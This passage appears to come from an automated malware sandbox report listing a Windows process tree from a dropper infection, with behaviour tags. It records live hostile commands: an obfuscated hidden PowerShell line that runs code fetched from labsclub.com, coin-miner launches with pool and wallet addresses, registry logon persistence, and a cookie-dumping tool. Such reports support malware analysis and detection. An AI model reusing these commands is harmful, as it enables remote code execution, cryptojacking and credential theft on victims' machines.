        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fr01rnpe.10x\app.exe /8-2222 & exit
        15⤵
        
        PID:12148
        
        C:\Users\Admin\AppData\Local\Temp\fr01rnpe.10x\app.exe
        
        C:\Users\Admin\AppData\Local\Temp\fr01rnpe.10x\app.exe /8-2222
        16⤵
        
        PID:8216
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2a2xbh1k.lga\Four.exe & exit
        15⤵
        
        PID:13160
        
        C:\Users\Admin\AppData\Local\Temp\2a2xbh1k.lga\Four.exe
        
        C:\Users\Admin\AppData\Local\Temp\2a2xbh1k.lga\Four.exe
        16⤵
        
        PID:10528
        
        C:\Users\Admin\AppData\Local\Temp\ETBC0QVVSS\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ETBC0QVVSS\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 104
        17⤵
        
        PID:5348
        
        C:\Users\Admin\AppData\Local\Temp\ETBC0QVVSS\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ETBC0QVVSS\multitimer.exe" 1 3.1617448494.60684e2ea0bbe 104
        18⤵
        
        PID:5556
        
        C:\Users\Admin\AppData\Local\Temp\ETBC0QVVSS\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ETBC0QVVSS\multitimer.exe" 2 3.1617448494.60684e2ea0bbe
        19⤵
        
        PID:1316
        
        C:\Users\Admin\AppData\Local\Temp\WAF94D2NKH\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\WAF94D2NKH\setups.exe" ll
        17⤵
        
        PID:12964
        
        C:\Users\Admin\AppData\Local\Temp\is-L7BIM.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-L7BIM.tmp\setups.tmp" /SL5="$406B8,635399,250368,C:\Users\Admin\AppData\Local\Temp\WAF94D2NKH\setups.exe" ll
        18⤵
        
        PID:8532
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"
        11⤵
        
        PID:5792
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\javcse\install.vbs"
        12⤵
        
        PID:5432
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\javcse\install.dll",install
        13⤵
        
        PID:6608
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\2oG1o0Zhe2Ng.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\2oG1o0Zhe2Ng.exe"
        11⤵
        
        PID:5124
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        12⤵
        
        PID:1064
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"
        11⤵
        
        PID:5496
        
        C:\Users\Admin\AppData\Local\Temp\KNERR2WJU2\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\KNERR2WJU2\multitimer.exe" 0 306065bb10421b26.04333812 0 103
        12⤵
        
        PID:4472
        
        C:\Users\Admin\AppData\Local\Temp\KNERR2WJU2\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\KNERR2WJU2\multitimer.exe" 1 3.1617448026.60684c5abf011 103
        13⤵
        
        PID:3800
        
        C:\Users\Admin\AppData\Local\Temp\KNERR2WJU2\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\KNERR2WJU2\multitimer.exe" 2 3.1617448026.60684c5abf011
        14⤵
        
        PID:6580
        
        C:\Users\Admin\AppData\Local\Temp\vzbtiercb3q\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\vzbtiercb3q\vict.exe" /VERYSILENT /id=535
        15⤵
        
        PID:7904
        
        C:\Users\Admin\AppData\Local\Temp\is-38D8D.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-38D8D.tmp\vict.tmp" /SL5="$6041E,870426,780800,C:\Users\Admin\AppData\Local\Temp\vzbtiercb3q\vict.exe" /VERYSILENT /id=535
        16⤵
        
        PID:8080
        
        C:\Users\Admin\AppData\Local\Temp\is-3AKNM.tmp\win1host.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-3AKNM.tmp\win1host.exe" 535
        17⤵
        
        PID:11216
        
        C:\Users\Admin\AppData\Local\Temp\p4cstacyjwb\cpyrix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\p4cstacyjwb\cpyrix.exe" /VERYSILENT
        15⤵
        
        PID:7892
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        C:\Users\Admin\AppData\Roaming\1.exe
        16⤵
        
        PID:12632
        
        C:\Windows\SysWOW64\at.exe
        
        "C:\Windows\System32\at.exe"
        17⤵
        
        PID:7344
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub
        17⤵
        
        PID:8240
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe
        18⤵
        
        PID:8576
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        C:\Users\Admin\AppData\Roaming\2.exe
        16⤵
        
        PID:12756
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        "{path}"
        17⤵
        
        PID:6176
        
        C:\Users\Admin\AppData\Local\Temp\bifpjwbjjby\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bifpjwbjjby\Setup3310.exe" /Verysilent /subid=577
        15⤵
        
        PID:8012
        
        C:\Users\Admin\AppData\Local\Temp\is-EL955.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-EL955.tmp\Setup3310.tmp" /SL5="$6017A,138429,56832,C:\Users\Admin\AppData\Local\Temp\bifpjwbjjby\Setup3310.exe" /Verysilent /subid=577
        16⤵
        
        PID:8096
        
        C:\Users\Admin\AppData\Local\Temp\is-U5IP6.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-U5IP6.tmp\Setup.exe" /Verysilent
        17⤵
        
        PID:11680
        
        C:\Users\Admin\AppData\Local\Temp\tsjxli2onsz\jzipnadyztc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tsjxli2onsz\jzipnadyztc.exe" /ustwo INSTALL
        15⤵
        
        PID:8052
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "jzipnadyztc.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\tsjxli2onsz\jzipnadyztc.exe" & exit
        16⤵
        
        PID:12972
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "jzipnadyztc.exe" /f
        17⤵
        Kills process with taskkill
        
        PID:5040
        
        C:\Users\Admin\AppData\Local\Temp\eoweq2b50uv\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\eoweq2b50uv\app.exe" /8-23
        15⤵
        
        PID:8316
        
        C:\Users\Admin\AppData\Local\Temp\eoweq2b50uv\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\eoweq2b50uv\app.exe" /8-23
        16⤵
        
        PID:10488
        
        C:\Users\Admin\AppData\Local\Temp\fdmfjap5hcp\vpn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fdmfjap5hcp\vpn.exe" /silent /subid=482
        15⤵
        
        PID:8712
        
        C:\Users\Admin\AppData\Local\Temp\is-N2N67.tmp\vpn.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-N2N67.tmp\vpn.tmp" /SL5="$30088,15170975,270336,C:\Users\Admin\AppData\Local\Temp\fdmfjap5hcp\vpn.exe" /silent /subid=482
        16⤵
        
        PID:8816
        
        C:\Users\Admin\AppData\Local\Temp\BHYFMOBJVF\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BHYFMOBJVF\setups.exe" ll
        12⤵
        
        PID:3904
        
        C:\Users\Admin\AppData\Local\Temp\is-F0KBA.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-F0KBA.tmp\setups.tmp" /SL5="$9030C,635399,250368,C:\Users\Admin\AppData\Local\Temp\BHYFMOBJVF\setups.exe" ll
        13⤵
        
        PID:5112
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"
        11⤵
        
        PID:5392
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"
        11⤵
        
        PID:3628
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
        12⤵
        
        PID:200
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
        13⤵
        
        PID:5220
        
        C:\Users\Admin\AppData\Local\Temp\3md3t4svju1\0diah2htilg.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3md3t4svju1\0diah2htilg.exe" /ustwo INSTALL
        8⤵
        Executes dropped EXE
        
        PID:5336
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "0diah2htilg.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\3md3t4svju1\0diah2htilg.exe" & exit
        9⤵
        
        PID:648
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "0diah2htilg.exe" /f
        10⤵
        Kills process with taskkill
        
        PID:4724
        
        C:\Users\Admin\AppData\Local\Temp\dam3xuj0vn0\yhqt5eaxeqc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\dam3xuj0vn0\yhqt5eaxeqc.exe" /VERYSILENT
        8⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:5200
        
        C:\Users\Admin\AppData\Local\Temp\2de2k12ryfs\cpyrix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2de2k12ryfs\cpyrix.exe" /VERYSILENT
        8⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:2520
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        C:\Users\Admin\AppData\Roaming\1.exe
        9⤵
        
        PID:5940
        
        C:\Windows\SysWOW64\at.exe
        
        "C:\Windows\System32\at.exe"
        10⤵
        
        PID:2156
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub
        10⤵
        
        PID:4696
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe
        11⤵
        
        PID:4416
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^lajjlUrLlNHprlefHJumvZHatLJWdOXmrLPKyFNJxVcXZVLXjWFkTAPlLUomkuxvPoyscslwVbyBEJzoZLJzpLFDWEZkbgb$" Risposta.pub
        12⤵
        
        PID:4676
        
        C:\Users\Admin\AppData\Roaming\ZnXiuJpGHTKiA\Cure.exe.com
        
        Cure.exe.com U
        12⤵
        
        PID:7900
        
        C:\Users\Admin\AppData\Roaming\ZnXiuJpGHTKiA\Cure.exe.com
        
        C:\Users\Admin\AppData\Roaming\ZnXiuJpGHTKiA\Cure.exe.com U
        13⤵
        
        PID:7464
        
        C:\Users\Admin\AppData\Roaming\ZnXiuJpGHTKiA\Cure.exe.com
        
        C:\Users\Admin\AppData\Roaming\ZnXiuJpGHTKiA\Cure.exe.com
        14⤵
        
        PID:6616
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C ver > "C:\Users\Admin\AppData\Local\Temp\chr7D3E.tmp"
        15⤵
        
        PID:7504
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C wmic process get Name > "C:\Users\Admin\AppData\Local\Temp\chr84B1.tmp"
        15⤵
        
        PID:8396
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic process get Name
        16⤵
        
        PID:8168
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6616 -s 1484
        15⤵
        Program crash
        
        PID:10588
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 30
        12⤵
        Runs ping.exe
        
        PID:8884
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        C:\Users\Admin\AppData\Roaming\2.exe
        9⤵
        
        PID:5356
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        "{path}"
        10⤵
        
        PID:1668
        
        C:\Users\Admin\AppData\Local\Temp\fmdklo4j351\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fmdklo4j351\vict.exe" /VERYSILENT /id=535
        8⤵
        
        PID:5476
        
        C:\Users\Admin\AppData\Local\Temp\is-AKGTI.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-AKGTI.tmp\vict.tmp" /SL5="$3031E,870426,780800,C:\Users\Admin\AppData\Local\Temp\fmdklo4j351\vict.exe" /VERYSILENT /id=535
        9⤵
        
        PID:5560
        
        C:\Users\Admin\AppData\Local\Temp\is-HVBUE.tmp\win1host.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-HVBUE.tmp\win1host.exe" 535
        10⤵
        
        PID:3996
        
        C:\Users\Admin\AppData\Local\Temp\L4Hcsnli2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\L4Hcsnli2.exe"
        11⤵
        
        PID:1076
        
        C:\Users\Admin\AppData\Local\Temp\L4Hcsnli2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\L4Hcsnli2.exe"
        12⤵
        
        PID:4732
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3996 -s 644
        11⤵
        Program crash
        
        PID:7240
        
        C:\Users\Admin\AppData\Local\Temp\cxtgrfvvex0\IBInstaller_97039.exe
        
        "C:\Users\Admin\AppData\Local\Temp\cxtgrfvvex0\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
        8⤵
        
        PID:5804
        
        C:\Users\Admin\AppData\Local\Temp\is-K4OND.tmp\IBInstaller_97039.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-K4OND.tmp\IBInstaller_97039.tmp" /SL5="$1047E,14574917,721408,C:\Users\Admin\AppData\Local\Temp\cxtgrfvvex0\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
        9⤵
        
        PID:5928
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-EM3T2.tmp\{app}\microsoft.cab -F:* %ProgramData%
        10⤵
        
        PID:184
        
        C:\Windows\SysWOW64\expand.exe
        
        expand C:\Users\Admin\AppData\Local\Temp\is-EM3T2.tmp\{app}\microsoft.cab -F:* C:\ProgramData
        11⤵
        
        PID:6124
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\client32.exe" /f
        10⤵
        
        PID:6272
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c start http://egypthistoricart.online/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039^&param=
        10⤵
        
        PID:6204
        
        C:\ProgramData\regid.1993-06.com.microsoft\client32.exe
        
        "C:\ProgramData\regid.1993-06.com.microsoft\client32.exe"
        10⤵
        
        PID:6020
        
        C:\Users\Admin\AppData\Local\Temp\is-EM3T2.tmp\{app}\chrome_proxy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-EM3T2.tmp\{app}\chrome_proxy.exe"
        10⤵
        
        PID:4524
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-EM3T2.tmp\{app}\chrome_proxy.exe"
        11⤵
        
        PID:7208
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping localhost -n 4
        12⤵
        Runs ping.exe
        
        PID:3828
        
        C:\Users\Admin\AppData\Local\Temp\xpgdlpehpmp\zj0qmszehqh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xpgdlpehpmp\zj0qmszehqh.exe"
        8⤵
        
        PID:5656
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\xpgdlpehpmp\zj0qmszehqh.exe"
        9⤵
        
        PID:5580
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 1.1.1.1 -n 1 -w 3000
        10⤵
        Runs ping.exe
        
        PID:6100
        
        C:\Users\Admin\AppData\Local\Temp\hz3cfoddsw4\0r2a1z2eotn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\hz3cfoddsw4\0r2a1z2eotn.exe" /quiet SILENT=1 AF=756
        8⤵
        
        PID:5856
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\hz3cfoddsw4\0r2a1z2eotn.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\hz3cfoddsw4\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1617188836 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"
        9⤵
        
        PID:6976
        
        C:\Users\Admin\AppData\Local\Temp\ouqwwszfyzo\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ouqwwszfyzo\app.exe" /8-23
        8⤵
        
        PID:5960
        
        C:\Users\Admin\AppData\Local\Temp\ouqwwszfyzo\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ouqwwszfyzo\app.exe" /8-23
        9⤵
        
        PID:12320
        
        C:\Users\Admin\AppData\Local\Temp\jengfpbk3zv\vpn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jengfpbk3zv\vpn.exe" /silent /subid=482
        8⤵
        
        PID:4824
        
        C:\Users\Admin\AppData\Local\Temp\is-2ECGM.tmp\vpn.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-2ECGM.tmp\vpn.tmp" /SL5="$104EC,15170975,270336,C:\Users\Admin\AppData\Local\Temp\jengfpbk3zv\vpn.exe" /silent /subid=482
        9⤵
        
        PID:1776
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
        10⤵
        
        PID:3084
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe remove tap0901
        11⤵
        
        PID:6780
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
        10⤵
        
        PID:6372
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe install OemVista.inf tap0901
        11⤵
        
        PID:6224
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
        10⤵
        
        PID:11120
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
        10⤵
        
        PID:3244
    - - C:\Users\Admin\AppData\Local\Temp\XNPM76LRBO\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\XNPM76LRBO\setups.exe" ll
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2528
      - C:\Users\Admin\AppData\Local\Temp\is-U47QK.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-U47QK.tmp\setups.tmp" /SL5="$401AC,635399,250368,C:\Users\Admin\AppData\Local\Temp\XNPM76LRBO\setups.exe" ll
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:208
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"
      4⤵
      Executes dropped EXE
      Modifies system certificate store
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4712
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4112
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4204
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Program Features.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Program Features.exe"
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious use of WriteProcessMemory
      PID:3956
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4744
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
        6⤵
        Loads dropped DLL
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1892
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
      4⤵
      Executes dropped EXE
      PID:4580
    - - C:\Users\Admin\AppData\Roaming\FBAB.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\FBAB.tmp.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4532
      - C:\Users\Admin\AppData\Roaming\FBAB.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\FBAB.tmp.exe"
        6⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:4760
    - - C:\Users\Admin\AppData\Roaming\FD71.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\FD71.tmp.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4464
      - C:\Windows\system32\msiexec.exe
        
        -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
        6⤵
        
        PID:5452
      - C:\Windows\system32\msiexec.exe
        
        -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 9999
        6⤵
        
        PID:5696
    - - C:\Users\Admin\AppData\Roaming\FE6C.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\FE6C.tmp.exe"
        5⤵
        Executes dropped EXE
        
        PID:4772
      - C:\Windows\SysWOW64\cmd.exe
        
        /c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\FE6C.tmp.exe
        6⤵
        
        PID:6192
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 3
        7⤵
        Delays execution with timeout.exe
        
        PID:6640
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
        5⤵
        
        PID:5136
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1
        6⤵
        Runs ping.exe
        
        PID:5644
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"
      4⤵
      Executes dropped EXE
      PID:5236
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"
      4⤵
      PID:3768
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"
      4⤵
      PID:3720
    - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        
        PID:3292
    - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        
        PID:3644

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4904
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k SystemNetworkService
  2⤵
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:3104

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3100

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:3732

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1900

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:2380

C:\Users\Admin\AppData\Local\Temp\is-2TJ4H.tmp\yhqt5eaxeqc.tmp
"C:\Users\Admin\AppData\Local\Temp\is-2TJ4H.tmp\yhqt5eaxeqc.tmp" /SL5="$9030E,2592217,780800,C:\Users\Admin\AppData\Local\Temp\dam3xuj0vn0\yhqt5eaxeqc.exe" /VERYSILENT
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:5388
- C:\Users\Admin\AppData\Local\Temp\is-2N0T8.tmp\winlthsth.exe
  "C:\Users\Admin\AppData\Local\Temp\is-2N0T8.tmp\winlthsth.exe"
  2⤵
  PID:5212
- - C:\Users\Admin\AppData\Local\Temp\2j4v6xELs.exe
    "C:\Users\Admin\AppData\Local\Temp\2j4v6xELs.exe"
    3⤵
    PID:2108
  - - C:\Users\Admin\AppData\Local\Temp\2j4v6xELs.exe
      "C:\Users\Admin\AppData\Local\Temp\2j4v6xELs.exe"
      4⤵
      PID:4704
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
    3⤵
    PID:3372
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
      4⤵
      PID:8688

C:\Windows\system32\msiexec.exe
